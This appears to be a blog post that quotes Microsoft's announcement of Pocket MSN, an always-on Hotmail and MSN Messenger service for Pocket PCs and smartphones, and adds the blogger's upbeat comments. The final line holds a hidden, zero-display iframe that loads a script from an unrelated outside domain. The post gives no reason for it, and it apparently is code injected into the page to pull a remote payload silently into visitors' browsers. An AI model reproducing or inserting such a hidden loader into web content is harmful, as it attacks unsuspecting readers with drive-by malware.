Pocket MSN Delivers Always-On to Pocket PCs and Smartphones

<img src="images/logo-microsoft.gif" align="right">Pocket MSN will for the first time deliver to subscribers an always-on experience that enables them to remain available to other online users and always up to date with e-mail, instant messaging (IM) and other online services without maintaining a continuous network connection to their mobile device. Subscribers also will have one-click access to MSN Hotmail® and MSN Messenger -- one of the most used e-mail and IM services in the world, with 110 million and 75 million active users, respectively. In addition, Pocket MSN will allow subscribers to wirelessly browse online and receive other MSN services, including MSN Alerts, which include news, sports and weather updates.

MSN plans to release Pocket MSN through mobile operators, with T-Mobile planning to offer the service in Europe before the end of the year. In addition to always-on services, the following Pocket MSN features and attractions will allow mobile operators to lure subscribers:<ul><li><b>Integrated applications</b> - A single click on an icon on the device's Today screen provides access to all Pocket MSN services, including Hotmail and MSN Alerts, which are integrated into the Pocket PC and Smartphone Inbox. Also, messages can be sent via Hotmail when MSN Messenger contacts aren't available to receive instant messages. </li>
<li><b>Offline services</b> - Subscribers can access, compose and answer Hotmail messages offline, maximizing their time when mobile connections aren't available.</li>
<li><b>Personalized options</b> - Subscribers can filter incoming Hotmail messages based on the sender, subject and size of the message. They can select which MSN Messenger contacts they want to be notified of their online availability.</li></ul>I don't know about you guys, but I think this announcment is BIG! This is really great stuff, and if Microsoft can pull it off with minimal glitches... IF they can pull it off... this could move them far forward in the mobile space. It could also be a shot in the arm for MSN in general. Their biggest competitor, AOL, seems lackluster about the mobile space. Microsoft has never been one to miss an opportunity like that. I just wish it were going to come about a little quicker than the announcement implies. We are talking about late this year for Europe, so when would the US see this stuff?

Read the Press Release at Microsoft.<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>